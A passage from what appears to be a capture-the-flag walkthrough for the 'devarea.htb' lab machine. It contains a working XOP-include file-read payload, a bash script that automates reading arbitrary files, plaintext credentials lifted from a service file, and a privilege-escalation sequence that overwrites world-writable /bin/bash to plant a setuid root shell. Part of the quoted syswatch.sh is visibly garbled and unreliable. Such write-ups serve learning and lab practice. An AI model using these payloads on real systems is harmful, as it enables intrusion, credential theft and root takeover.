</soapenv:Envelope>
--boundary--

Execute the attack using nc:

nc -lvnp 8000

Or use curl to send the request:

curl -X POST http://devarea.htb:8080/employeeservice \
  -H "Content-Type: multipart/related; type=\"application/xop+xml\"; boundary=\"boundary\"; start=\"<root.message@cxf.apache.org>\"; start-info=\"text/xml\"" \
  -H "SOAPAction: \"\" \
  --data-binary @payload.txt

![Image 176.png](image 176.png)

This payload can be used to extract the contents of the /etc/passwd file:

--boundary
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: binary
Content-ID: <root.message@cxf.apache.org>

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:dev="http://devarea.htb/">
   <soapenv:Header/>
   <soapenv:Body>
      <dev:submitReport>
         <arg0>
            <confidential>true</confidential>
            <content><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="file:///etc/passwd"/></content>
            <department>IT</department>
            <employeeName>TestUser</employeeName>
         </arg0>
      </dev:submitReport>
   </soapenv:Body>
</soapenv:Envelope>
--boundary--

The result will be the username dev_ryan.

Write a script

#!/bin/bash

# Check if the user has provided a parameter (i.e., the file path to read)
# $1 (full name: Positional Parameter 1) represents the first value you passed on the command line
if [ -z "$1" ]; then
  echo "[-] Error: Target file path is missing."
  echo "[*] Usage: $0 <absolute path to read>"
  echo "[*] Example: $0 /etc/passwd"
  exit 1
fi

TARGET_FILE=$1
PAYLOAD_FILE="payload_temp.txt"

echo "[*] Attempting to read the target file using SSRF/LFD: $TARGET_FILE"

# Use the cat command and EOF (End Of File) to write multi-line text to a temporary file
# The $TARGET_FILE variable will be automatically replaced with the path you provided
cat <<EOF > $PAYLOAD_FILE
--boundary
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: binary
Content-ID: <root.message@cxf.apache.org>

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:dev="http://devarea.htb/">
   <soapenv:Header/>
   <soapenv:Body>
      <dev:submitReport>
         <arg0>
            <confidential>true</confidential>
            <content><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="file://$TARGET_FILE"/></content>
            <department>IT</department>
            <employeeName>TestUser</employeeName>
         </arg0>
      </dev:submitReport>
   </soapenv:Body>
</soapenv:Envelope>
--boundary--
EOF

# Send an HTTP POST request; the -s parameter is used to run in silent mode (without displaying a progress bar)
curl -s -X POST http://devarea.htb:8080/employeeservice \
  -H "Content-Type: multipart/related; type=\"application/xop+xml\"; boundary=\"boundary\"; start=\"<root.message@cxf.apache.org>\"; start-info=\"text/xml\"" \
  -H "SOAPAction: \"\" \
  --data-binary @$PAYLOAD_FILE

echo -e "\n\n[*] Request completed."

# After use, delete the temporarily generated payload file
rm $PAYLOAD_FILE

hoverfly is running and attempting to read the file /etc/systemd/system/hoverfly.service.

Run the script ./read.sh /etc/systemd/system/hoverfly.service to obtain the credentials --username admin --password O7IJ27MyyXiU.

With these credentials, you can log in to http://devarea.htb:8888/dashboard and search for CVE-2025-54123.

Sending the payload will grant you access to the shell of dev_ryan.

image 177.png

ROOT

In the ~ directory, we can find a backup of the syswatch.sh script that we can execute using the sudo command.

#!/bin/bash
set -euo pipefail

CONFIG_FILE="/opt/syswatch/config/syswatch.conf"
SYSWATCH_USER="syswatch"
PLUGIN_DIR="/opt/syswatch/plugins"
LOG_DIR="/opt/syswatch/logs"
SAFE_PLUGIN_REGEX='^[a-zA-Z0-9_.\-$]+$
SAFE_LOG_REGEX='^[A-Za-z0-9_.-]+$
VERSION="1.0.0"
source "$CONFIG_FILE"
RUN_AS_ROOT_PLUGINS=("log_monitor.sh")
LIST_EXCLUDE=("common.sh")

log_message() {
    local msg="$1"
    echo "$(date '+%F %T') - $msg" >> "$LOG_DIR/system.log"
    logger -t syswatch "$msg"
}

start_web() {
    # Reload systemd in case the service was just added
    systemctl daemon-reload

    # Check if the service is already active
    if systemctl is-active --quiet syswatch-web.service; then
        echo "[*] The SysWatch Web GUI is already running."
        return
    fi

    echo "[*] Starting the SysWatch Web GUI service..."
    systemctl enable syswatch-web.service >/dev/null 2>&1
    systemctl start syswatch-web.service

    # Wait for a short period after starting
    sleep 2

    if systemctl is-active --quiet syswatch-web.service; then
        echo "[+] The SysWatch Web GUI started successfully!"
    else
        echo "[-] Failed to start the SysWatch Web GUI."
    fi
}

# Function: Stop the Web GUI
stop_web() {
    if ! systemctl is-active --quiet syswatch-web.service; then
        echo "[*] The SysWatch Web GUI is not running."
        return
    fi

    echo "[*] Stopping the SysWatch Web GUI service..."
    systemctl stop syswatch-web.service
    echo "[+] The SysWatch Web GUI has been stopped."
}

# Function: Restart/Reload the Web GUI
reload_web() {
    if ! systemctl is-active --quiet syswatch-web.service; then
        echo "[*] The SysWatch Web GUI is not running. Starting it..."
        start_web
        return
    fi

    echo "[*] Reloading the SysWatch Web GUI service..."
    systemctl restart syswatch-web.service
    echo "[+] The SysWatch Web GUI has been successfully reloaded!"
}

Functions:

show status

status_web() { systemctl status syswatch-web.service —no-pager —lines=0 }

Execute a plugin

execute_plugin() { local plugin=“1";shiftif[[!1"; shift if [[ ! plugin =~ SAFE_PLUGIN_REGEX ]]; then echo "Invalid plugin name" >&2 return 1 fi local fullpath="PLUGIN_DIR/plugin"[!f"plugin" [ ! -f "fullpath” ] && echo “Plugin not found: plugin" >&2 && return 1 log_message "Executing plugin: plugin "localrunroot=0forpin"*" local run_root=0 for p in "{RUN_AS_ROOT_PLUGINS[@]}”; do if [ “plugin"="plugin" = "p” ]; then run_root=1 break fi done if [ “runroot"eq1];thenbash"run_root" -eq 1 ]; then bash "fullpath” “@"elserunuseru"@" else runuser -u "SYSWATCH_USER” — bash ”fullpath""fullpath" "@” fi }

List available plugins

list_plugins() { local files files=(ls1"(ls -1 "PLUGIN_DIR” 2>/dev/null | grep -E ’^.+.shtrue)[z"' || true) [ -z "{files:-}” ] && return while IFS= read -r f; do [ -z “f" ] && continue local skip=0 for ex in "{LIST_EXCLUDE[@]}”; do if [ “f"="f" = "ex” ]; then skip=1 break fi done [ “skip" -eq 1 ] && continue echo " - f” done <<< “$files” }

View logs

view_logs() { local arg=”${1:-}”

# List mode
if [ "$arg" = "--list" ] || [ "$arg" = "list" ]; then
    local found=0
    for p in "$LOG_DIR"/*.log; do
        [ -e "$p" ] || continue
        [ -L "$p" ] && continue       # Skip symlinks in the list
        [ -f "$p" ] || continue
        echo " - $(basename "$p")"
        found=1
    done
    [ "$found" -eq 0 ] && echo "[No logs found]"
    return
fi

# Verify log file name
local file="${arg:-system.log}"
if [[ ! "$file" =~ $SAFE_LOG_REGEX ]]; then
    echo "[Invalid log filename]: $file"
    return 1
fi

local path="$LOG_DIR/$file"
if [ -L "$path" ]; then
    local target
    target=$(ls -l "$path" | awk '{print $NF}')

}

if [[ "$target" == *"/"* || "$target" == *".."* || "$target" == *"\\"* ]]; then
    echo "[Blocked unsafe symlink target]: $file -> $target"
    return 1
fi

if [[ "$target" =~ ^[A-Za-z0-9_.-]+$ ]]; then
    local resolved="$LOG_DIR/$target"
    if [ -f "$resolved" ]; then
        cat "$resolved"
        return
    else
        echo "[Symlink target not found]: $file -> $target"
        return 1
    fi
fi

if [[ "$target" == /var/log/* ]]; then
    [ -f "$target" ] && cat "$target" && return
    echo "[Symlink target is not a regular file]: $file -> $target"
    return 1
fi

echo "[Refusing unsafe symlink]: $file -> $target"
    return 1
fi

if [[ "$file" == */* || "$file" == *".."* ]]; then
    echo "[Blocked unsafe filename]: $file"
    return 1
fi

if [ -f "$path" ]; then
    cat "$path"
    else
    echo "[Log file not found]: $file"
    fi
}

usage() {
    echo "SysWatch $VERSION"
    echo "Usage: $0 <command> [args]"
    echo "Commands:"
    echo "  web                 Start web GUI"
    echo "  web-stop            Stop web GUI"
    echo "  web-restart         Restart web GUI"
    echo "  web-status          Show web GUI status"
    echo "  plugin <name> [args] Execute plugin"
    echo "  plugins             List available plugins"
    echo "  logs <file>         View log file"
    echo "  logs --list         List available log files"
    echo "  --version           Show version"
    echo "  --help|-h|help      Show this help"
}

main() { case ”1:"inweb)startweb;;webstop)stopweb;;webrestartwebreload)reloadweb;;webstatus)statusweb;;plugin)shift;executeplugin"{1:-}" in web) start_web ;; web-stop) stop_web ;; web-restart|web-reload) reload_web ;; web-status) status_web ;; plugin) shift; execute_plugin "@” ;; plugins) list_plugins ;; logs) shift; view_logs “@";;version)echo"@" ;; --version) echo "VERSION” ;; help|—help|-h) usage ;; *) usage ;; esac }

if [ ”(idu)"eq0];thenmain"(id -u)" -eq 0 ]; then main "@” else if [[ ”1:"=="logs"]];thenmain"{1:-}" == "logs" ]]; then main "@” else echo “Access denied. Root permission is required to perform this action.” >&2 exit 1 fi fi }

Analyzing this script, a potential vulnerability can be identified:

In syswatch.sh, it’s written as:

bash ”fullpath""fullpath" "@“

Instead of:

/usr/bin/bash ”fullpath""fullpath" "@” If you don’t specify the absolute path, the system will search for bash in the order of $PATH. The first one it finds will be /bin/bash (i.e., /usr/bin/bash).

ls -la /bin/bash
ls -la /usr/bin/bash
# -rwxrwxrwx 1 root root 1446024 Mar 31  2024 /bin/bash
# -rwxrwxrwx 1 root root 1446024 Mar 31  2024 /usr/bin/bash
# Simply replace `bash` with a malicious script:
cp /bin/bash /tmp/bash.bak  # Make a backup first
cat > /tmp/evil.sh << 'EOF'
#!/bin/sh
cp /bin/sh /tmp/rootsh
chmod +s /tmp/rootsh
EOF

# Switch to the `sh` shell to prevent `bash` from being terminated unexpectedly:
sh
killall -9 bash

# Replace `bash` with the malicious script:
chmod +x /tmp/evil.sh
cp /tmp/evil.sh /bin/bash

# Trigger the script (`syswatch.sh` will execute `bash` as `root`):
sudo /opt/syswatch/syswatch.sh plugin cpu_mem_monitor.sh

# Check the results:
ls -la /tmp/rootsh
/tmp/rootsh -p